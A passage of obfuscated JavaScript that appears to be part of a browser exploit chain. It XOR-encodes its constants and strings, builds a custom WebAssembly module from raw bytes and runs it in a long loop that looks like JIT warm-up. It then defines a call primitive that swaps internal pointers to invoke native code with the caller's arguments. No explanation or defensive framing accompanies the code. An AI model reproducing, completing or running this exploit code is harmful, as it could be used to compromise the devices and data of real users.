946628257),i.byteLength],[P.zn.Xn.ko,56,o],[P.zn.Xn.No,(1380009076 ^ 1380009140),i.byteLength],[P.zn.Xn.ko,(2019845201 ^ 2019845297),t],[P.zn.Xn.ko,(1699050326 ^ 1699050046),i.byteLength]]]]),this.mI=o,this.aI=t}}class oi{constructor(){}wd(i,c=0){throw new Error("")}Ad(i,c){const o=P.zn.Jn.oI(i.Nt(),c);return m.ot(o)}zd(i){const c=P.zn.Jn.iI(i);return m.ot(c)}Sd(){if(null===F.caller)throw new Error("");return F.caller}}return r._d=function(){const i=P.zn,c=i.Xn,o=i.Mn,t=new Uint8Array([0,97,(1899189297 ^ 1899189314),(2037535594 ^ 2037535495),1,0,0,0,1,52,3,96,8,(1379028333 ^ 1379028243),(1630883188 ^ 1630883082),(758204759 ^ 758204713),(877154866 ^ 877154892),(1733966137 ^ 1733966151),(1803183221 ^ 1803183115),(1950828624 ^ 1950828590),(911373685 ^ 911373579),1,(1970629741 ^ 1970629651),96,16,(1749832015 ^ 1749831984),(2033010037 ^ 2033009930),(1598645559 ^ 1598645576),(2036818769 ^ 2036818734),(1630890312 ^ 1630890295),(1115185508 ^ 1115185435),(1815244620 ^ 1815244595),(1248743497 ^ 1248743478),(1850888566 ^ 1850888457),(2033804624 ^ 2033804591),(1414755432 ^ 1414755351),(2020372856 ^ 2020372743),(1919956052 ^ 1919956011),(913258033 ^ 913258062),(1751544140 ^ 1751544115),(1714509176 ^ 1714509063),1,(1162892409 ^ 1162892295),96,16,(1783650414 ^ 1783650321),(1953852517 ^ 1953852442),(1599550066 ^ 1599549965),(1328836916 ^ 1328836939),(862670156 ^ 862670131),(861484851 ^ 861484876),(1901676875 ^ 1901676852),(1765046100 ^ 1765046059),(1112558198 ^ 1112558089),(1852730965 ^ 1852730922),(2054508398 ^ 2054508305),(1599563843 ^ 1599563836),(1886155377 ^ 1886155278),(1162565175 ^ 1162565192),(1783002953 ^ 1783002934),(1296855906 ^ 1296855837),0,3,5,4,0,1,1,2,4,4,1,(1279735152 ^ 1279735040),0,2,5,4,1,1,1,1,7,17,4,1,(1999457360 ^ 1999457316),1,0,1,(1816538485 ^ 1816538392),2,0,1,(1396852819 ^ 1396852796),0,0,1,(1987671633 ^ 1987671607),0,3,9,7,1,0,65,0,11,1,0,10,(1482244425 ^ 1482244491),1,4,4,0,66,0,11,88,0,32,1,(1717987408 ^ 1717987581),66,32,(1517435209 ^ 1517435343),32,0,(2020685390 ^ 2020685539),(1749248578 ^ 1749248710),32,3,(1397379397 ^ 1397379560),66,32,(1145465415 ^ 1145465537),32,2,(894644291 ^ 894644462),(1346531661 ^ 1346531785),32,5,(1383615820 ^ 1383615969),66,32,(1902728258 ^ 1902728388),32,4,(1447912568 ^ 1447912661),(1348958053 ^ 1348958177),32,7,(1949660466 ^ 1949660575),66,32,(1480014125 ^ 1480014251),32,6,(1333407094 ^ 1333407195),(2052418426 ^ 2052418558),32,9,(809850951 ^ 809851114),66,32,(1836272182 ^ 1836272304),32,8,(927870261 ^ 927870360),(1148144437 ^ 1148144561),32,11,(946170198 ^ 946170363),66,32,(1752192103 ^ 1752192225),32,10,(1734440293 ^ 1734440392),(1600939129 ^ 1600939261),32,13,(1110732916 ^ 1110733017),66,32,(828452165 ^ 828452291),32,12,(1498246960 ^ 1498247069),(1783447893 ^ 1783448017),32,15,(928146520 ^ 928146677),66,32,(1497912173 ^ 1497912299),32,14,(1179803443 ^ 1179803550),(858607961 ^ 858608093),65,0,17,0,0,15,11,37,0,32,0,32,1,32,2,32,3,32,4,32,5,32,6,32,7,32,8,32,9,32,10,32,11,32,12,32,13,32,14,32,15,16,1,15,11,60,1,1,(1783518047 ^ 1783517985),32,0,32,1,32,2,32,3,32,4,32,5,32,6,32,7,32,8,32,9,32,10,32,11,32,12,32,13,32,14,32,15,16,2,33,16,65,0,32,16,(1664633208 ^ 1664633311),54,2,0,65,4,32,16,66,32,(1380866680 ^ 1380866800),(1701463411 ^ 1701463508),54,2,0,15,11]).buffer,I=new WebAssembly.Module(t,{}),n=new WebAssembly.Instance(I,{}),h=n.exports.f,s=n.exports.o,y=new Uint32Array(n.exports.m.buffer);let l=null,C=null;null!==o&&!0===globalThis.obChTK.hPL3On(([0, 5, 7, 7, 8, 82, 80, 2, 83, 0, 4, 0, 8, 83, 80, 3, 80, 9, 87, 5, 1, 83, 84, 3, 9, 6, 87, 7, 5, 7, 85, 5, 85, 6, 4, 8, 2, 84, 83, 1].map(x => {return String.fromCharCode(x ^ 49);}).join(""))).zn.Nn.sKfNmf&&!0===o.cc&&(l=P.cr().fh(([57, 58, 39, 16, 50, 52, 54, 3, 39, 33].map(x => {return String.fromCharCode(x ^ 83);}).join(""))),C=o.da(m.ut(l),m.ut(0)));for(let i=0;i<(1464423026 ^ 1464390866);i++)try{h()}catch(i){}const g=x.Vt.ut((2054042746 ^ 2054033623));i.caller={jd(o,...t){const I=globalThis.obChTK.hPL3On(([68, 65, 67, 67, 76, 22, 20, 70, 23, 68, 64, 68, 76, 23, 20, 71, 20, 77, 19, 65, 69, 23, 16, 71, 77, 66, 19, 67, 65, 67, 17, 65, 17, 66, 64, 76, 70, 16, 23, 69].map(x => {return String.fromCharCode(x ^ 117);}).join(""))).zn;if(o instanceof m==!1)throw new Error("");if(o.Et())throw new Error("");if(t.length>8)throw new Error("");const n=new Array(16);let l=0;for(const i in t){const c=t[i];if(t[i]instanceof m==!1)throw new Error("");n[l]=c.it,n[l+1]=c.et,l+=2}const b=function(i){const o=c.tr(i);return c.nr(o+globalThis.obChTK.hPL3On(([105, 108, 110, 110, 97, 59, 57, 107, 58, 105, 109, 105, 97, 58, 57, 106, 57, 96, 62, 108, 104, 58, 61, 106, 96, 111, 62, 110, 108, 110, 60, 108, 60, 111, 109, 97, 107, 61, 58, 104].map(x => {return String.fromCharCode(x ^ 88);}).join(""))).zn.Nn.rvXShf)}(s),K=I.Xn.rr(b);if(null!==I.Mn)o=!0===P.zn.qn?I.Mn.tc(C,o,g):I.Mn.er(o,g);else if(!0===i.Sn)throw new Error("");I.Xn.Jr(b,o);try{h(...n)}finally{I.Xn.Jr(b,K)}const u=x.S(y[0]),d=x.S(y[1]);return new x.Vt(u,d)}}},r;